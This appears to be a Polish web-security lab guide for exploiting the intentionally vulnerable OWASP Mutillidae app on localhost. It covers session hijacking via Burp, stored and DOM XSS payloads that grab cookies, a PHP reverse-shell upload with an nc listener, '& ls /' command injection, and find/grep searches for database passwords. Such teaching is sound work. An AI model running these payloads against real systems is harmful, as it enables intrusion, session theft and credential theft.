- SQLI
- CSRF
- Server Side Template Injection
- SSRF
Link do GitHub'a: github.com/OWASP/ASVS
- Zadanie 0: Adding user, login, password policies. ASVS.
- Zadanie 1: Session Hijacking
- Zadanie 2: Cross Site Scripting (XSS)
- Zadanie 3: Reverse Shell
- Zadanie 4: Dodatkowe
Wersja: 2.8.59
git clone https://github.com/webpwnized/mutillidae-docker
cd mutillidae-docker
docker-compose up
Jeśli wystąpią problemy:
- Doinstaluj docker-compose
sudo apt install docker-compose
. - Dodaj siebie do grupy
docker
.sudo usermod -aG docker $USER
. - Opcjonalnie zrestartuj serwis
sudo service docker restart
. - Uruchom dockera z pozycji roota
sudo docker-compose up
. - Jeśli pojawia się błąd, że adres jest już "zbindowany"
sudo service apache2 stop
Wersja: 2.6.52
docker pull bltsec/mutillidae-docker
docker run -d -p 80:80 -p 443:443 --name owasp17 bltsec/mutillidae-docker
- Przejdź do
localhost/mutillidae
Kod źródłowy każdej strony możesz podejrzeć na http://127.0.0.1/index.php?page=source-viewer.php
Podczas pracy przyda się narzędzie BURP SUITE. Zainstaluj je jeśli jest taka potrzeba.
- Sprawdź czy możesz stworzyć użytkownika, którego hasło posiada mniej niż 12 znaków.
Zapisz numer ASVS, oceń poziom ryzyka (Możesz zrobić to sam lub skorzystać z przykładowego rozwiązania zaprezentowanego w prezentacji). Na koniec zasugeruj rozwiązanie problemu. - Spróbuj zmienić hasło użytkownika. Sprawdź czy wymagana jest znajomość starego hasła. Zapisz numer ASVS, oceń poziom ryzyka oraz zasugeruj rozwiązanie problemu.
- Wykorzystaj tabelę niżej i spróbuj zidentyfikować pozostałe (o ile istnieją) wady.
- Wycinek tabeli do pomocy
# | Description | CWE | NIST |
---|---|---|---|
V2.1.1 | Verify that user set passwords are at least 12 characters in length (after multiple spaces are combined). (C6) | 521 | 5.1.1.2 |
V2.1.2 | Verify that passwords of at least 64 characters are permitted, and that passwords of more than 128 characters are denied. (C6) | 521 | 5.1.1.2 |
V2.1.3 | Verify that password truncation is not performed. However, consecutive multiple spaces may be replaced by a single space. (C6) | 521 | 5.1.1.2 |
V2.1.4 | Verify that any printable Unicode character, including language neutral characters such as spaces and Emojis are permitted in passwords. | 521 | 5.1.1.2 |
V2.1.5 | Verify users can change their password. | 620 | 5.1.1.2 |
V2.1.6 | Verify that password change functionality requires the user's current and new password. | 620 | 5.1.1.2 |
Przypomnienie: Prowadź tabelę w której będziesz wszystko zapisywał.
- Wykorzystując wiedzę o pliku robots.txt odszukaj lokalizację na stronie gdzie mogą być przechowane hasła użytkowników.
Podpowiedź 1 (rozwiń)
1. W adresie urlhttp://localhost/index.php?page=robots-txt.php
podmień zawartośćpage
narobots.txt
. (http://localhost/index.php?page=robots.txt
)Podpowiedź 2 (rozwiń)
1. Przekieruj się na adreshttp://localhost/passwords/
- Zapisz dane logowania dowolnego użytkownika.
- Oczywiście sposobów wydobycia ciasteczka sesji jest wiele (prezentacja). Stworzymy prosty scenariusz w celu którego wykorzystamy narzędzie BURP SUITE. Zaloguj się na wybranego użytkownika. Włącz przechwytywnie zapytania. Odśwież stronę.
- Zapisz ciasteczko sesji w osobnym pliku.
- Wyłącz przechwytywanie. Wyloguj się z aktualnego użytkownika i zaloguj się na innego lub stwórz własne konto.
- Włącz przechwytywanie. Odśwież stronę i przejdź do BURP SUITE.
- Podmień wartość
Cookie
na skopiowaną wartość wcześniejszego użytkownika. NaciśnijForward
. - Właśnie zostałeś uwierzytelniony jako drugi użytkownik. Jednak po przejściu na dowolną inną stronę otrzymujemy zresetowane ciasteczko użytkownika, na którego się logowaliśmy. Jeśli chcemy używać danej sesji podczas wykonywania ataków należy użyć opcji
Process cookies in redirections
. - Stwórz tabelę oceny zagrożenia.
W tej częsci postaramy się wykraść od użytkowników przeglądających blog ich ciasteczka sesji, żeby móc wykorzystać je tak jak w labie wcześniejszym.
- Zaloguj się na dowolnego użytkownika i przejdź na stronę
http://localhost/index.php?page=view-someones-blog.php
.
Lub OWASP 2017 -> A7 - Cross Site Scripting (XSS) -> Persistent (Second order) -> Add to your blog. - Dla sprawdzenia czy podatność istnieje wykorzystamy najprostszy payload. Wpisz w polu wpisywania:
<script>alert(document.cookie)</script>
.
Wyślij treść bloga na serwer. Od razu pojawia się alert w którym są informacje z aktualnej sesji. Podatność istnieje - wykorzystajmy ją. - Do zaprezentowania ideii wstrzykniemy kod, który zaproponuje odwiedzającemu zapisanie pewnego pliku. Jego zawartością będzie ciasteczko z sesją.
- Na zalogowanym użytkowniku proszę wprowadzić zapis o treści:
var a = document.createElement("a"); a.href = window.URL.createObjectURL(new Blob([WHAT_TO_EXTRACT?], {type: "text/plain"})); a.download="DONT_DELETE_THIS_IMPORTANT.txt"; a.click();
- Zauważ, że treścią która zostanie wpisana do pliku *.txt będzie wartość
WHAT_TO_EXTRACT
czy aby na pewno jest to poprawna wartość? ;)Podpowiedź (rozwiń)
1. Podmień zawartośćWHAT_TO_EXTRACT
nadocument.cookie
.
Pamiętaj, żeby owinąć całość odpowiednim tagiem!
- Po zapisaniu bloga. Wyloguj się z aktualnego użytkownika i zaloguj na innego. Wejdź na stronę
http://localhost/index.php?page=view-someones-blog.php
.
Lub OWASP 2017 -> A7 - Cross Site Scripting (XSS) -> Persistent (Second order) -> View someone's blog. - Wyszukaj blogi wcześniejszego użytkownika.
- And voilà! Oczywiście prawdopodobieństwo, że ktoś zostawi taki plik na publicznym komputerze w firmie po pobraniu jest małe - jednak ciągle niezerowe...
- Zapisz zgodnie z wytycznymi wpis w tabeli oceny ryzyka. Weź pod uwagę, że każda strona wyciągająca zainfekowany rekord z bazy danych wywoła znajdujący się tam skrypt.
- Wejdź na stronę
http://127.0.0.1/index.php?page=html5-storage.php
.
Lub OWASP 2017 -> A7 - Cross Site Scripting (XSS) -> DOM-Based -> HTML5-web-storage. - Zapoznaj się z poniższym fragmentem kodu, który jest wywoływany gdy wpisywany jest klucz i wartość na stronie.
var setMessage = function(/* String */ pMessage){
var lMessageSpan = document.getElementById("idAddItemMessageSpan");
lMessageSpan.innerHTML = pMessage;
lMessageSpan.setAttribute("class","success-message");
};// end function setMessage
Podpowiedź: Zobacz jak działa metoda innerHTML
.
- Spróbuj wpisać payload z alertem w javascript
<script>alert(1)</script>
. Czy wpisany kod działa? - Wykorzystamy inny element DOM np. znacznik
<img>
. Proszę wpisać w polu wartość<img src=nothing onerror="alert(document.cookie)"/>"
. - Od razu po wysłaniu wykonuje się kod z JS, który był ukryty wewnątrz tagu
<img>
. - Uzupełnij tabelę o nową podatność. Opisz ją.
Działa tak samo jak Persistent tylko jednorazowo na daną stronę. (prezentacja)
Jak myślisz dlaczego przeglądarka dopuszcza do wykonywania takiego kodu? Zwiększ poziom bezpieczeństwa na poziom 5
. Spróbuj wpisać prosty skrypt.
Sprawdzanie tego co widać to nie wszystko. Jednym z ciekawszych elementów, które można sprawdzać to połączenia na niefiltrowanych portach, brak walidacji w przesyłaniu plików i tym podobne.
-
Udaj się na stronę
http://localhost/index.php?page=upload-file.php
-
Przygotuj skrypt w PHP (plik znajduje się w tym repozytorium pod nazwą
rev.php
) i zapisz w lokalnym folderze. Podmień adres IP na swój i zapamiętaj/zmień port. -
W pierwszym terminalu ustaw nasłuchiwanie na wybranym porcie np.
nc -lvnp 1337
. Adres IP ustaw na swój. (Żeby sprawdzić swoje ip wpisz w terminaluipconfig -a
) -
Zapisz skrypt i wrzuć go na stronę do upload'u.
-
Pojawi się informacja w jakiej lokalizacji został umieszczony.
-
Nawiguj do
http://localhost/index.php?page=/tmp/<nazwa_twojego_pliku>.php
-
W momencie wejścia na stronę wywołuje się skrypt a w terminalu powinniśmy mieć aktywne połączenie.
-
Posiadając dostęp do wewnętrznej struktury katalogów spróbuj znaleźć hasło do bazy danych.
Podpowiedź 1 (rozwiń)
1. Wyszukaj wszytkie pliki o rozszerzeniu "\*.php"find / -name "*.php"
.Podpowiedź 2 (rozwiń)
1. Wykorzystaj narzędzie do wyszukiwania wzorca tekstugrep -i "password"
lubgrep "="
.Podpowiedź 3 (rozwiń)
1. Ostateczne polecenie może wyglądać w ten sposóbfind / -name "*.php" | xargs grep -i "password" | grep "="
. -
W całym ciągu tekstu interesuje nas ten urywek
/var/www/mutillidae/classes/YouTubeVideoHandler.php: public $HowtoResetRootPasswordinMySQLMariaDB = 143; /var/www/mutillidae/classes/MySQLHandler.php: static public $mMySQLDatabasePassword = DB_PASSWORD; /var/www/mutillidae/classes/MySQLHandler.php: static public $MUTILLIDAE_DBV1_PASSWORD = ""; /var/www/mutillidae/classes/MySQLHandler.php: static public $MUTILLIDAE_DBV2_PASSWORD = "mutillidae"; /var/www/mutillidae/classes/MySQLHandler.php: static public $SAMURAI_WTF_PASSWORD = "samurai"; /var/www/mutillidae/classes/MySQLHandler.php: $this->mMySQLConnection = new mysqli($pHOSTNAME,$pUSERNAME, $pPASSWORD, NULL, $pPORT);
Hasło do bazy to [...]
1.samurai
. -
Weź pod uwagę, że strona jest cały czas w stanie "zawieszenia".
Ta część laboratorium jest przeznaczona na własny rekonesans. Wcześniejsze przykłady były podane w wąskim zakresie dlatego teraz pora na rozwinięcie skrzydeł. Przetestuj aplikację we własnym zakresie - z tym co wiesz lub chcesz poznać. Propozycja: skorzystaj z podanych list i testuj wszystko po kolei.
Jeśli testując elementy aplikacji uznasz atak siłowy za potrzebny to skorzystaj z payload'ów z tego repozytorium: github.com/swisskyrepo/PayloadsAllTheThings
- Niektóre podatności (np. XSS) występują na innych stronach. Postaraj się je odszukać.
- Znajdź inne podatności np. na stronie logowania (
SQL injection
) - Na stronie
http://127.0.0.1/index.php?page=dns-lookup.php
możesz podejrzeć strukturę katalogów wykorzystując poleceniels
. Sprawdź czym musisz je poprzedzić, żeby zadziałało.
Podpowiedź(rozwiń)
1. Wpisz& ls /
. Możesz dokładnie podejrzeć strukturę plików. Możesz też wpisać & whoami
lub & id
w celu sprawdzenia jakim użytkownikiem (oraz z jakimi uprawnieniami) jesteś.
- Na tej samej stronie spróbuj znaleźć hasło do bazy danych. Pierwsza opcja to rekonesans (Nie trzeba głęboko szukać).
Podpowiedź do drugiego sposobu (rozwiń)
&find /var/www/mutillidae -name "*.php" | xargs egrep -i "password" | grep "="
- I wszystko co inne postaraj się oceniać w tabeli oceny zagrożeń.